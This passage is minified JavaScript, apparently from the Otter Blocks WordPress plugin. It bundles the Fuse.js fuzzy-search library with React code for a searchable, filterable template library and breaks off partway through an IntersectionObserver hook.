Se(e,{location:t.location??ke.location,threshold:t.threshold??ke.threshold,distance:t.distance??ke.distance,includeMatches:t.includeMatches??ke.includeMatches,findAllMatches:t.findAllMatches??ke.findAllMatches,minMatchCharLength:t.minMatchCharLength??ke.minMatchCharLength,isCaseSensitive:t.isCaseSensitive??ke.isCaseSensitive,ignoreDiacritics:t.ignoreDiacritics??ke.ignoreDiacritics,ignoreLocation:t.ignoreLocation??ke.ignoreLocation});return{type:"fuzzy",search(e){return s.searchIn(e)}}}}],Ee=Fe.length;function Pe(e,t){const s=e.match(t);return s?s[1]:null}const De=[];function ze(...e){De.push(...e)}function Le(e,t){for(let s=0,r=De.length;s<r;s+=1){const r=De[s];if(r.condition(e,t))return new r(e,t)}return new Se(e,t)}const Ie="$and",Re="$path",Ve=e=>!(!e[Ie]&&!e.$or),Oe=e=>({[Ie]:Object.keys(e).map((t=>({[t]:e[t]})))});function $e(e,t,{auto:s=!0}={}){const r=e=>{if(ce(e)){const r={keyId:null,pattern:e};return s&&(r.searcher=Le(e,t)),r}const i=Object.keys(e),o=(e=>!!e[Re])(e);if(!o&&i.length>1&&!Ve(e))return r(Oe(e));if((e=>!ne(e)&&he(e)&&!Ve(e))(e)){const r=o?e[Re]:i[0],n=o?e.$val:e[r];if(!ce(n))throw new Error((e=>`Invalid value for key ${e}`)(r));const a={keyId:ve(r),pattern:n};return s&&(a.searcher=Le(n,t)),a}const n={children:[],operator:i[0]};return i.forEach((t=>{const s=e[t];ne(s)&&s.forEach((e=>{n.children.push(r(e))}))})),n};return Ve(e)||(e=Oe(e)),r(e)}function Ge(e,{ignoreFieldNorm:t=ke.ignoreFieldNorm}){let s=1;return e.forEach((({key:e,norm:r,score:i})=>{const o=e?e.weight:null;s*=Math.pow(0===i&&o?Number.EPSILON:i,(o||1)*(t?1:r))})),s}var Te=class{constructor(e){this.limit=e,this.heap=[]}get size(){return this.heap.length}shouldInsert(e){return this.size<this.limit||e<this.heap[0].score}insert(e){this.size<this.limit?(this.heap.push(e),this._bubbleUp(this.size-1)):e.score<this.heap[0].score&&(this.heap[0]=e,this._sinkDown(0))}extractSorted(e){return this.heap.sort(e)}_bubbleUp(e){const t=this.heap;for(;e>0;){const s=e-1>>1;if(t[e].score<=t[s].score)break;const r=t[e];t[e]=t[s],t[s]=r,e=s}}_sinkDown(e){const t=this.heap,s=t.length;let r=e;do{const i=2*(e=r)+1,o=2*e+2;if(i<s&&t[i].score>t[r].score&&(r=i),o<s&&t[o].score>t[r].score&&(r=o),r!==e){const s=t[e];t[e]=t[r],t[r]=s}}while(r!==e)}};const We=/[\p{L}\p{M}\p{N}_]+/gu,He=new WeakSet;function qe({isCaseSensitive:e=!1,ignoreDiacritics:t=!1,tokenize:s}={}){const r=function(e){if("function"==typeof e){let t=!1;return s=>{const r=e(s);if(!t&&(t=!0,!Array.isArray(r)||r.some((e=>"string"!=typeof e))))throw new Error(`[Fuse] tokenize function must return string[]; received ${Array.isArray(r)?"array containing non-strings":typeof r}.`);return r}}return e instanceof RegExp?(e.global||(t=e,He.has(t)||(He.add(t),console.warn(`[Fuse] tokenize regex ${t} lacks the global flag; only the first match per text will be returned. Add the 'g' flag.`))),t=>t.match(e)||[]):e=>e.match(We)||[];var t}(s);return{tokenize(s){return e||(s=s.toLowerCase()),t&&(s=Ne(s)),r(s)}}}function Ze(e,t,s,r){const i=r.tokenize(t);if(!i.length)return;e.fieldCount++,e.docFieldCount.set(s,(e.docFieldCount.get(s)||0)+1);const o=new Set(i);let n=e.docTermFieldHits.get(s);n||(n=new Map,e.docTermFieldHits.set(s,n));for(const t of o)n.set(t,(n.get(t)||0)+1),e.df.set(t,(e.df.get(t)||0)+1)}function Qe(e,t,s,r){const{i:i,v:o,$:n}=t;if(void 0===o){if(n)for(let t=0;t<s;t++){const s=n[t];if(s)if(Array.isArray(s))for(const t of s)Ze(e,t.v,i,r);else Ze(e,s.v,i,r)}}else Ze(e,o,i,r)}function Ke(e,t){const s=e.docFieldCount.get(t);if(void 0===s)return;e.fieldCount-=s,e.docFieldCount.delete(t);const r=e.docTermFieldHits.get(t);if(r){for(const[t,s]of r){const r=(e.df.get(t)||0)-s;r<=0?e.df.delete(t):e.df.set(t,r)}e.docTermFieldHits.delete(t)}}function Ue(e,t){if(0===t.length)return;const s=Array.from(new Set(t)).sort(((e,t)=>e-t));for(const t of s)Ke(e,t);const r=e=>{let t=0,r=s.length;for(;t<r;){const i=t+r>>>1;s[i]<e?t=i+1:r=i}return e-t},i=s[0],o=new Map;for(const[t,s]of e.docFieldCount)o.set(t>i?r(t):t,s);e.docFieldCount=o;const n=new Map;for(const[t,s]of e.docTermFieldHits)n.set(t>i?r(t):t,s);e.docTermFieldHits=n}var Je=class{constructor(e,t,s){this.options={...ke,...t},this.options.useExtendedSearch,this.options.useTokenSearch,this._keyStore=new fe(this.options.keys),this._docs=e,this._myIndex=null,this._invertedIndex=null,this.setCollection(e,s),this._lastQuery=null,this._lastSearcher=null}_getSearcher(e){if(this._lastQuery===e)return this._lastSearcher;const t=Le(e,this._invertedIndex?{...this.options,_invertedIndex:this._invertedIndex}:this.options);return this._lastQuery=e,this._lastSearcher=t,t}setCollection(e,t){if(this._docs=e,t&&!(t instanceof xe))throw new Error("Incorrect 'index' type");if(this._myIndex=t||we(this.options.keys,this._docs,{getFn:this.options.getFn,fieldNormWeight:this.options.fieldNormWeight}),this.options.useTokenSearch){const e=qe({isCaseSensitive:this.options.isCaseSensitive,ignoreDiacritics:this.options.ignoreDiacritics,tokenize:this.options.tokenize});this._invertedIndex=function(e,t,s){const r={fieldCount:0,df:new Map,docFieldCount:new Map,docTermFieldHits:new Map};for(const i of e)Qe(r,i,t,s);return r}(this._myIndex.records,this._myIndex.keys.length,e)}this._invalidateSearcherCache()}add(e){if(!ue(e))return;this._docs.push(e);const t=this._myIndex.add(e,this._docs.length-1);if(this._invertedIndex&&t){const e=qe({isCaseSensitive:this.options.isCaseSensitive,ignoreDiacritics:this.options.ignoreDiacritics,tokenize:this.options.tokenize});!function(e,t,s,r){Qe(e,t,s,r)}(this._invertedIndex,t,this._myIndex.keys.length,e)}this._invalidateSearcherCache()}remove(e=()=>!1){const t=[],s=[];for(let r=0,i=this._docs.length;r<i;r+=1)e(this._docs[r],r)&&(t.push(this._docs[r]),s.push(r));if(s.length){this._invertedIndex&&Ue(this._invertedIndex,s);const e=new Set(s);this._docs=this._docs.filter(((t,s)=>!e.has(s))),this._myIndex.removeAll(s),this._invalidateSearcherCache()}return t}removeAt(e){if(!Number.isInteger(e)||e<0||e>=this._docs.length)throw new Error(ge);this._invertedIndex&&Ue(this._invertedIndex,[e]);const t=this._docs.splice(e,1)[0];return this._myIndex.removeAt(e),this._invalidateSearcherCache(),t}_invalidateSearcherCache(){this._lastQuery=null,this._lastSearcher=null}getIndex(){return this._myIndex}search(e,t){const{limit:s=-1}=t||{},{includeMatches:r,includeScore:i,shouldSort:o,sortFn:n,ignoreFieldNorm:a}=this.options;if(ce(e)&&!e.trim()){let e=this._docs.map(((e,t)=>({item:e,refIndex:t})));return le(s)&&s>-1&&(e=e.slice(0,s)),e}let c;if(le(s)&&s>0&&ce(e)){const t=new Te(s);ce(this._docs[0])?this._searchStringList(e,{heap:t,ignoreFieldNorm:a}):this._searchObjectList(e,{heap:t,ignoreFieldNorm:a}),c=t.extractSorted(n)}else c=ce(e)?ce(this._docs[0])?this._searchStringList(e):this._searchObjectList(e):this._searchLogical(e),function(e,{ignoreFieldNorm:t=ke.ignoreFieldNorm}){e.forEach((e=>{e.score=Ge(e.matches,{ignoreFieldNorm:t})}))}(c,{ignoreFieldNorm:a}),o&&c.sort(n),le(s)&&s>-1&&(c=c.slice(0,s));return function(e,t,{includeMatches:s=ke.includeMatches,includeScore:r=ke.includeScore}={}){return e.map((e=>{const{idx:i}=e,o={item:t[i],refIndex:i};return s&&(o.matches=function(e){const t=[];return e.matches.forEach((e=>{if(!ue(e.indices)||!e.indices.length)return;const s={indices:e.indices,value:e.value};e.key&&(s.key=e.key.id),e.idx>-1&&(s.refIndex=e.idx),t.push(s)})),t}(e)),r&&(o.score=e.score),o}))}(c,this._docs,{includeMatches:r,includeScore:i})}_searchStringList(e,{heap:t,ignoreFieldNorm:s}={}){const r=this._getSearcher(e),i=this.options.useTokenSearch&&"all"===this.options.tokenMatch,{records:o}=this._myIndex,n=t?null:[];return o.forEach((({v:e,i:o,n:a})=>{if(!ue(e))return;const c=r.searchIn(e);if(c.isMatch){const r={score:c.score,value:e,norm:a,indices:c.indices};i&&(r.matchedMask=c.matchedMask,r.matchedTerms=c.matchedTerms,r.termCount=c.termCount);const l=[r];if(!i||this._coversAllTokens(l)){const r={item:e,idx:o,matches:l};t?(r.score=Ge(r.matches,{ignoreFieldNorm:s}),t.shouldInsert(r.score)&&t.insert(r)):n.push(r)}}})),n}_searchLogical(e){const t=$e(e,this.options),s=(e,t,r)=>{if(!("children"in e)){const{keyId:s,searcher:i}=e;let o;return null===s?(o=[],this._myIndex.keys.forEach(((e,s)=>{o.push(...this._findMatches({key:e,value:t[s],searcher:i}))}))):o=this._findMatches({key:this._keyStore.get(s),value:this._myIndex.getValueForItemAtKeyId(t,s),searcher:i}),o&&o.length?[{idx:r,item:t,matches:o}]:[]}const{children:i,operator:o}=e,n=[];for(let e=0,a=i.length;e<a;e+=1){const a=i[e],c=s(a,t,r);if(c.length)n.push(...c);else if(o===Ie)return[]}return n},r=this._myIndex.records,i=new Map,o=[];return r.forEach((({$:e,i:r})=>{if(ue(e)){const n=s(t,e,r);n.length&&(i.has(r)||(i.set(r,{idx:r,item:e,matches:[]}),o.push(i.get(r))),n.forEach((({matches:e})=>{i.get(r).matches.push(...e)})))}})),o}_searchObjectList(e,{heap:t,ignoreFieldNorm:s}={}){const r=this._getSearcher(e),i=this.options.useTokenSearch&&"all"===this.options.tokenMatch,{keys:o,records:n}=this._myIndex,a=t?null:[];return n.forEach((({$:e,i:n})=>{if(!ue(e))return;const c=[];let l=!1,h=!1;if(o.forEach(((t,s)=>{const i=this._findMatches({key:t,value:e[s],searcher:r});i.length?(c.push(...i),i[0].hasInverse&&(h=!0)):l=!0})),(!h||!l)&&c.length&&(!i||this._coversAllTokens(c))){const r={idx:n,item:e,matches:c};t?(r.score=Ge(r.matches,{ignoreFieldNorm:s}),t.shouldInsert(r.score)&&t.insert(r)):a.push(r)}})),a}_findMatches({key:e,value:t,searcher:s}){if(!ue(t))return[];const r=[];if(ne(t))t.forEach((({v:t,i:i,n:o})=>{if(!ue(t))return;const n=s.searchIn(t);if(n.isMatch){const s={score:n.score,key:e,value:t,idx:i,norm:o,indices:n.indices,hasInverse:n.hasInverse};void 0!==n.termCount&&(s.matchedMask=n.matchedMask,s.matchedTerms=n.matchedTerms,s.termCount=n.termCount),r.push(s)}}));else{const{v:i,n:o}=t,n=s.searchIn(i);if(n.isMatch){const t={score:n.score,key:e,value:i,norm:o,indices:n.indices,hasInverse:n.hasInverse};void 0!==n.termCount&&(t.matchedMask=n.matchedMask,t.matchedTerms=n.matchedTerms,t.termCount=n.termCount),r.push(t)}}return r}_coversAllTokens(e){const t=e.length?e[0].termCount:void 0;if(void 0===t)return!0;if(t<=31){let s=0;for(let t=0;t<e.length;t++)s|=e[t].matchedMask||0;return s===2**t-1}const s=new Set;for(let t=0;t<e.length;t++){const r=e[t].matchedTerms;if(r)for(const e of r)s.add(e)}return s.size===t}};Je.version="7.4.2",Je.createIndex=we,Je.parseIndex=function(e,{getFn:t=ke.getFn,fieldNormWeight:s=ke.fieldNormWeight}={}){const{keys:r,records:i}=e,o=new xe({getFn:t,fieldNormWeight:s});return o.setKeys(r),o.setIndexRecords(i),o},Je.config=ke,Je.match=function(e,t,s){if(s&&s.useTokenSearch)throw new Error("Fuse.match does not support useTokenSearch: token search requires corpus-level statistics (df, fieldCount) that a one-off string comparison does not have. Use new Fuse(...).search(...) instead.");return Le(e,{...ke,...s}).searchIn(t)},Je.parseQuery=$e,ze(class{constructor(e,{isCaseSensitive:t=ke.isCaseSensitive,ignoreDiacritics:s=ke.ignoreDiacritics,includeMatches:r=ke.includeMatches,minMatchCharLength:i=ke.minMatchCharLength,ignoreLocation:o=ke.ignoreLocation,findAllMatches:n=ke.findAllMatches,location:a=ke.location,threshold:c=ke.threshold,distance:l=ke.distance}={}){this.query=null,this.options={isCaseSensitive:t,ignoreDiacritics:s,includeMatches:r,minMatchCharLength:i,findAllMatches:n,ignoreLocation:o,location:a,threshold:c,distance:l},e=t?e:e.toLowerCase(),e=s?Ne(e):e,this.pattern=e,this.query=function(e,t={}){return e.replace(/\\\|/g,"\0").split("|").map((e=>{const s=function(e){const t=[],s=e.length;let r=0;for(;r<s;){for(;r<s&&" "===e[r];)r++;if(r>=s)break;let i=r;for(;i<s&&" "!==e[i]&&'"'!==e[i];)i++;if(i<s&&'"'===e[i]){for(i++;i<s;){if('"'===e[i]){const t=i+1;if(t>=s||" "===e[t]){i++;break}if("$"===e[t]&&(t+1>=s||" "===e[t+1])){i+=2;break}}i++}t.push(e.substring(r,i)),r=i}else{for(;i<s&&" "!==e[i];)i++;t.push(e.substring(r,i)),r=i}}return t}(e.replace(/\u0000/g,"|").trim()).filter((e=>e&&!!e.trim())),r=[];for(let e=0,i=s.length;e<i;e+=1){const i=s[e];let o=!1,n=-1;for(;!o&&++n<Ee;){const e=Fe[n],s=Pe(i,e.multiRegex);s&&(r.push(e.create(s,t)),o=!0)}if(!o)for(n=-1;++n<Ee;){const e=Fe[n],s=Pe(i,e.singleRegex);if(s){r.push(e.create(s,t));break}}}return r}))}(this.pattern,this.options)}static condition(e,t){return t.useExtendedSearch}searchIn(e){const t=this.query;if(!t)return{isMatch:!1,score:1};const{includeMatches:s,isCaseSensitive:r,ignoreDiacritics:i}=this.options;e=r?e:e.toLowerCase(),e=i?Ne(e):e;let o=0;const n=[];let a=0,c=!1;for(let r=0,i=t.length;r<i;r+=1){const i=t[r];n.length=0,o=0,c=!1;for(let t=0,r=i.length;t<r;t+=1){const r=i[t],{isMatch:l,indices:h,score:u}=r.search(e);if(!l){a=0,o=0,n.length=0,c=!1;break}o+=1,a+=u,r.type.startsWith("inverse")&&(c=!0),s&&(Be.has(r.type)?n.push(...h):n.push(h))}if(o){const e={isMatch:!0,score:a/o};return c&&(e.hasInverse=!0),s&&(e.indices=Ce(n)),e}}return{isMatch:!1,score:1}}}),ze(class{static condition(e,t){return t.useTokenSearch}constructor(e,t){this.options=t,this.analyzer=qe({isCaseSensitive:t.isCaseSensitive,ignoreDiacritics:t.ignoreDiacritics,tokenize:t.tokenize});const s=this.analyzer.tokenize(e),{df:r,fieldCount:i}=t._invertedIndex;this.termSearchers=[],this.idfWeights=[];for(const e of s){this.termSearchers.push(new Se(e,{location:t.location,threshold:t.threshold,distance:t.distance,includeMatches:t.includeMatches,findAllMatches:t.findAllMatches,minMatchCharLength:t.minMatchCharLength,isCaseSensitive:t.isCaseSensitive,ignoreDiacritics:t.ignoreDiacritics,ignoreLocation:!0}));const s=r.get(e)||0,o=Math.log(1+(i-s+.5)/(s+.5));this.idfWeights.push(o)}this.combineAll="all"===t.tokenMatch,this.numTerms=this.termSearchers.length,this.useMask=this.numTerms<=31}searchIn(e){if(!this.termSearchers.length)return{isMatch:!1,score:1};const t=[];let s=0,r=0,i=0,o=0;const n=this.combineAll&&!this.useMask?new Set:null;for(let a=0;a<this.termSearchers.length;a++){const c=this.termSearchers[a].searchIn(e),l=this.idfWeights[a];r+=l,c.isMatch&&(i++,s+=l*(1-c.score),c.indices&&t.push(...c.indices),this.combineAll&&(this.useMask?o|=1<<a:n.add(a)))}if(0===i)return{isMatch:!1,score:1};const a=r>0?1-s/r:0,c={isMatch:!0,score:Math.max(.001,a)};return this.options.includeMatches&&t.length&&(c.indices=Ce(t)),this.combineAll&&(this.useMask?c.matchedMask=o:c.matchedTerms=n,c.termCount=this.numTerms),c}}),Je.use=function(...e){e.forEach((e=>ze(e)))};var Xe=Je;const Ye={button:["wp:button","wp:themeisle-blocks/button","wp:atomic-wind/link"],form:["wp:themeisle-blocks/form"],image:["wp:image","wp:cover","wp:gallery","wp:media-text","<img"],map:["wp:themeisle-blocks/google-map","wp:themeisle-blocks/leaflet-map"],carousel:["wp:themeisle-blocks/slider"],countdown:["wp:themeisle-blocks/countdown"],progress:["wp:themeisle-blocks/progress-bar","wp:themeisle-blocks/circle-counter"],quote:["wp:quote","wp:pullquote"],video:["wp:video","wp:embed"]},et={button:(0,e.__)("Has button","otter-blocks"),form:(0,e.__)("Has form","otter-blocks"),image:(0,e.__)("Photos","otter-blocks"),map:(0,e.__)("Has map","otter-blocks"),carousel:(0,e.__)("Carousel","otter-blocks"),countdown:(0,e.__)("Countdown","otter-blocks"),progress:(0,e.__)("Progress bars","otter-blocks"),quote:(0,e.__)("Quote","otter-blocks"),video:(0,e.__)("Video","otter-blocks")},tt=["image","form","carousel","countdown","map","video","progress","quote"],st={light:(0,e.__)("Light","otter-blocks"),dark:(0,e.__)("Dark","otter-blocks")},rt={free:(0,e.__)("Free","otter-blocks"),pro:(0,e.__)("Pro","otter-blocks")},it=["cols-2","cols-3","cols-4"],ot={"cols-2":(0,e.__)("2 columns","otter-blocks"),"cols-3":(0,e.__)("3 columns","otter-blocks"),"cols-4":(0,e.__)("4+ columns","otter-blocks")},nt=["style","use","feat"],at=((0,e.__)("Style","otter-blocks"),(0,e.__)("Use case","otter-blocks"),(0,e.__)("Feature","otter-blocks"),{style:{clean:(0,e.__)("Clean","otter-blocks"),classic:(0,e.__)("Classic","otter-blocks"),gradient:(0,e.__)("Gradient","otter-blocks"),neon:(0,e.__)("Neon","otter-blocks"),mesh:(0,e.__)("Mesh","otter-blocks"),poster:(0,e.__)("Poster","otter-blocks"),glass:(0,e.__)("Glass","otter-blocks"),editorial:(0,e.__)("Editorial","otter-blocks")}}),ct={button:{kind:"element",value:"button"},buttons:{kind:"element",value:"button"},image:{kind:"element",value:"image"},images:{kind:"element",value:"image"},photo:{kind:"element",value:"image"},photos:{kind:"element",value:"image"},picture:{kind:"element",value:"image"},map:{kind:"element",value:"map"},maps:{kind:"element",value:"map"},countdown:{kind:"element",value:"countdown"},timer:{kind:"element",value:"countdown"},progress:{kind:"element",value:"progress"},quote:{kind:"element",value:"quote"},quotes:{kind:"element",value:"quote"},video:{kind:"element",value:"video"},signup:{kind:"element",value:"form"},"sign-up":{kind:"element",value:"form"},subscribe:{kind:"category",value:"newsletter"},newsletter:{kind:"category",value:"newsletter"},email:{kind:"element",value:"form"},"opt-in":{kind:"element",value:"form"},optin:{kind:"element",value:"form"},hero:{kind:"category",value:"header"},heroes:{kind:"category",value:"header"},header:{kind:"category",value:"header"},headers:{kind:"category",value:"header"},cta:{kind:"category",value:"call-to-action"},feature:{kind:"category",value:"features"},features:{kind:"category",value:"features"},form:{kind:"category",value:"forms"},forms:{kind:"category",value:"forms"},gallery:{kind:"category",value:"gallery"},team:{kind:"category",value:"team"},pricing:{kind:"category",value:"pricing"},price:{kind:"category",value:"pricing"},testimonial:{kind:"category",value:"testimonials"},testimonials:{kind:"category",value:"testimonials"},review:{kind:"category",value:"testimonials"},reviews:{kind:"category",value:"testimonials"},faq:{kind:"category",value:"faq"},faqs:{kind:"category",value:"faq"},question:{kind:"category",value:"faq"},questions:{kind:"category",value:"faq"},contact:{kind:"category",value:"contact"},waitlist:{kind:"category",value:"waitlist"},stats:{kind:"category",value:"stats"},stat:{kind:"category",value:"stats"},statistic:{kind:"category",value:"stats"},statistics:{kind:"category",value:"stats"},metric:{kind:"category",value:"stats"},metrics:{kind:"category",value:"stats"},logo:{kind:"category",value:"clients"},logos:{kind:"category",value:"clients"},client:{kind:"category",value:"clients"},clients:{kind:"category",value:"clients"},partner:{kind:"category",value:"clients"},partners:{kind:"category",value:"clients"},portfolio:{kind:"category",value:"portfolio"},timeline:{kind:"category",value:"timeline"},blog:{kind:"category",value:"blog"},news:{kind:"category",value:"blog"},post:{kind:"category",value:"blog"},posts:{kind:"category",value:"blog"},article:{kind:"category",value:"blog"},articles:{kind:"category",value:"blog"},icon:{kind:"category",value:"icons"},icons:{kind:"category",value:"icons"},illustration:{kind:"category",value:"icons"},illustrations:{kind:"category",value:"icons"},rating:{kind:"category",value:"testimonials"},ratings:{kind:"category",value:"testimonials"},stars:{kind:"category",value:"testimonials"},study:{kind:"category",value:"case-studies"},studies:{kind:"category",value:"case-studies"},videos:{kind:"element",value:"video"},dark:{kind:"tone",value:"dark"},night:{kind:"tone",value:"dark"},midnight:{kind:"tone",value:"dark"},light:{kind:"tone",value:"light"},bright:{kind:"tone",value:"light"},free:{kind:"access",value:"free"},pro:{kind:"access",value:"pro"}},lt=["a","an","the","with","and","or","on","in","of","for","to","that","has","section","sections","template","templates","pattern","patterns","block","blocks"],ht=["otter-blocks","featured","pages"],ut=new Map,dt=new Map,mt=new Map,gt=new Map,pt=new Map,ft=/\b(?:bg|from)-(?:neutral|slate|zinc|gray|stone)-(?:8|9)\d0\b|\bbg-black\b/,bt=e=>{if(!dt.has(e.name)){const t=(e.content||"").replace(/<!--[\s\S]*?-->/g," ").replace(/<[^>]+>/g," ").replace(/&#8217;|&#8216;/g,"'").replace(/&#8211;|&#8212;/g,"-").replace(/&amp;/g,"&").replace(/&#?\w+;/g," ").replace(/\s+/g," ").trim().slice(0,600);dt.set(e.name,t)}return dt.get(e.name)},_t=e=>(e.name||"").split("/").pop().split("-").filter((e=>2<e.length&&!lt.includes(e))).join(" "),vt=e=>{if(e.isPro)return e.elements||[];if(!ut.has(e.name)){const t=e.content||"";ut.set(e.name,Object.keys(Ye).filter((e=>Ye[e].some((e=>t.includes(e))))))}return ut.get(e.name)},yt=e=>{if(e.isPro)return e.tone||"light";if(!mt.has(e.name)){const t=e.content||"";let s="light";const r=t.match(/wp:atomic-wind\/box \{"tagName":"section"[^}]*"className":"([^"]*)"/);if(r)s=ft.test(r[1])?"dark":"light";else{const e=t.match(/"backgroundColor":"(#[0-9a-fA-F]{3,8})"/);e&&(e=>{let t=e.replace("#","");3===t.length&&(t=t.split("").map((e=>e+e)).join(""));const s=e=>{const t=parseInt(e,16)/255;return t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4)};return.2126*s(t.slice(0,2))+.7152*s(t.slice(2,4))+.0722*s(t.slice(4,6))})(e[1])<.4&&(s="dark")}mt.set(e.name,s)}return mt.get(e.name)},kt=e=>{if(e.isPro)return e.layout||null;if(!gt.has(e.name)){const t=[...(e.content||"").matchAll(/grid-cols-(\d)/g)].map((e=>Number(e[1]))),s=t.length?Math.max(...t):0;gt.set(e.name,4<=s?"cols-4":3===s?"cols-3":2===s?"cols-2":null)}return gt.get(e.name)},xt=e=>e.isPro||e?.name?.startsWith("otter-pro/")?"pro":"free",wt=e=>{if(!pt.has(e.name)){const t={};(e.keywords||[]).forEach((e=>{const s=e.indexOf(":");if(0<s){const r=e.slice(0,s),i=e.slice(s+1);t[r]||(t[r]=[]),t[r].push(i)}})),pt.set(e.name,t)}return pt.get(e.name)},jt=(e,t)=>at[e]&&at[e][t]||t.charAt(0).toUpperCase()+t.slice(1).replace(/-/g," "),Ct=(e,t={})=>"category"===e.kind?t[e.value]||e.value:"tone"===e.kind?st[e.value]||e.value:"access"===e.kind?rt[e.value]||e.value:"layout"===e.kind?ot[e.value]||e.value:"meta"===e.kind?jt(e.group,e.value):et[e.value]||e.value,Mt=(e,t)=>"category"===t.kind?e.categories.includes(t.value):"tone"===t.kind?yt(e)===t.value:"access"===t.kind?xt(e)===t.value:"layout"===t.kind?kt(e)===t.value:"meta"===t.kind?(wt(e)[t.group]||[]).includes(t.value):vt(e).includes(t.value),At=[2,3,4],Nt=()=>(0,h.jsxs)("div",{className:"o-library__topbar","aria-hidden":"true",children:[(0,h.jsx)("span",{className:"o-library__shimmer",style:{flex:"1 1 280px",maxWidth:440,height:38,borderRadius:9}}),(0,h.jsxs)("div",{className:"o-library__filters",children:[(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:104,height:34,borderRadius:8}}),(0,h.jsx)("div",{className:"o-library__sep"}),(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:92,height:34,borderRadius:8}}),(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:38,height:34,borderRadius:8}})]}),(0,h.jsx)("div",{className:"o-library__resultline",children:(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:96,height:13,borderRadius:4}})})]}),St=[68,86,58,94,72,62,80],Bt=()=>(0,h.jsxs)("div",{className:"o-library__tagrow","aria-hidden":"true",children:[(0,h.jsx)("span",{className:"o-library__tagrow-label",children:(0,e.__)("Refine","otter-blocks")}),St.map(((e,t)=>(0,h.jsx)("span",{className:"o-library__shimmer",style:{width:e,height:28,borderRadius:999}},t)))]}),Ft=({tags:t,active:s,onToggle:r})=>t.length?(0,h.jsxs)("div",{className:"o-library__tagrow",children:[(0,h.jsx)("span",{className:"o-library__tagrow-label",children:(0,e.__)("Refine","otter-blocks")}),t.map((e=>{const t=s.includes(e.key),i=Boolean(e.disabled)&&!t;return(0,h.jsxs)("button",{className:c()("o-library__tag",{"is-on":t,"is-tone":Boolean(e.tone),"is-style":"meta"===e.kind&&"style"===e.group}),disabled:i,onClick:()=>r(e),children:[e.tone&&(0,h.jsx)("span",{className:c()("o-library__tag-dot",`is-${e.tone}`)}),e.label,(0,h.jsx)("span",{className:"o-library__tag-count",children:e.count})]},e.key)}))]}):null;var Et=({query:s,setQuery:r,count:i,favCount:o,favOnly:n,setFavOnly:a,sort:l,setSort:u,columns:g,setColumns:p,tokens:f,onRemoveToken:_,categoryLabels:y})=>(0,h.jsxs)("div",{className:"o-library__topbar",children:[(0,h.jsxs)("div",{className:"o-library__searchwrap",children:[(0,h.jsx)(b,{icon:v,size:22}),(0,h.jsx)("input",{className:"o-library__search",type:"search",placeholder:(0,e.__)("Try “hero with email signup”…","otter-blocks"),value:s,onChange:e=>r(e.target.value)}),Boolean(s)&&(0,h.jsx)("button",{className:"o-library__clear","aria-label":(0,e.__)("Clear search","otter-blocks"),onClick:()=>r(""),children:(0,h.jsx)(b,{icon:re,size:18})})]}),(0,h.jsxs)("div",{className:"o-library__filters",children:[(0,h.jsxs)("button",{className:c()("o-library__chip",{"is-on":n}),onClick:()=>a(!n),children:[(n?m:d)({width:15,height:15}),(0,e.__)("Favorites","otter-blocks"),0<o&&(0,h.jsx)("span",{className:"o-library__chip-count",children:o})]}),(0,h.jsx)("div",{className:"o-library__sep"}),(0,h.jsxs)("select",{className:"o-library__sort",value:l,onChange:e=>u(e.target.value),"aria-label":(0,e.__)("Sort","otter-blocks"),children:[(0,h.jsx)("option",{value:"featured",children:(0,e.__)("Featured","otter-blocks")}),(0,h.jsx)("option",{value:"az",children:(0,e.__)("Name A–Z","otter-blocks")}),(0,h.jsx)("option",{value:"za",children:(0,e.__)("Name Z–A","otter-blocks")})]}),(0,h.jsx)(t.DropdownMenu,{icon:ie,label:(0,e.__)("Columns","otter-blocks"),toggleProps:{className:"o-library__colsbtn"},popoverProps:{placement:"bottom-end"},children:({onClose:s})=>(0,h.jsx)(t.MenuGroup,{label:(0,e.__)("Columns","otter-blocks"),children:At.map((r=>(0,h.jsx)(t.MenuItem,{icon:r===g?oe:null,onClick:()=>{p(r),s()},children:(0,e.sprintf)(
// translators: %d is the number of grid columns.
// translators: %d is the number of grid columns.
(0,e.__)("%d columns","otter-blocks"),r)},r)))})})]}),(0,h.jsxs)("div",{className:"o-library__resultline",children:[(0,h.jsxs)("span",{children:[(0,h.jsx)("strong",{children:i})," "+(0,e._n)("template","templates",i,"otter-blocks")]}),Boolean(f.length)&&(0,h.jsxs)("span",{className:"o-library__understood",children:[(0,h.jsx)("span",{className:"o-library__understood-label",children:(0,e.__)("matching","otter-blocks")}),f.map((t=>(0,h.jsxs)("button",{className:"o-library__token",title:(0,e.__)("Remove this filter","otter-blocks"),onClick:()=>_(t),children:[Ct(t,y),(0,h.jsx)(b,{icon:re,size:16})]},t.kind+t.value)))]})]})]}),Pt=window.React,Dt=(Object.defineProperty,new Map),zt=new WeakMap,Lt=0;function It(e,t,s={},r=undefined){if(void 0===window.IntersectionObserver&&void 0!==r){const i=e.getBoundingClientRect();return t(r,{isIntersecting:r,target:e,intersectionRatio:"number"==typeof s.threshold?s.threshold:0,time:0,boundingClientRect:i,intersectionRect:i,rootBounds:i}),()=>{}}const{id:i,observer:o,elements:n}=function(e){const t=function(e){return Object.keys(e).sort().filter((t=>void 0!==e[t])).map((t=>{return`${t}_${"root"===t?(s=e.root,s?(zt.has(s)||(Lt+=1,zt.set(s,Lt.toString())),zt.get(s)):"0"):e[t]}`;var s})).toString()}(e);let s=Dt.get(t);if(!s){const r=new Map;let i;const o=new IntersectionObserver((t=>{t.forEach((t=>{var s;const o=t.isIntersecting&&i.some((e=>t.intersectionRatio>=e));e.trackVisibility&&void 0===t.isVisible&&(t.isVisible=o),null==(s=r.get(t.target))||s.forEach((e=>{e(o,t)}))}))}),e);i=o.thresholds||(Array.isArray(e.threshold)?e.threshold:[e.threshold||0]),s={id:t,observer:o,elements:r},Dt.set(t,s)}return s}(s),a=n.get(e)||[];return n.has(e)||n.set(e,a),a.push(t),o.observe(e),function(){a.splice(a.indexOf(t),1),0===a.length&&(n.delete(e),o.unobserve(e)),0===n.size&&(o.disconnect(),Dt.delete(i))}}function Rt({threshold:e,delay:t,trackVisibility:s,rootMargin:r,root:i,triggerOnce:o,skip:n,initialInView:a,fallbackInView:c,onChange:l}={}){var h;const[u,d]=Pt.useState(null),m=Pt.useRef(l),[g,p]=Pt.useState({inView:!!a,entry:void 0});m.current=l,Pt.useEffect((()=>{if(n||!u)return;let a;return 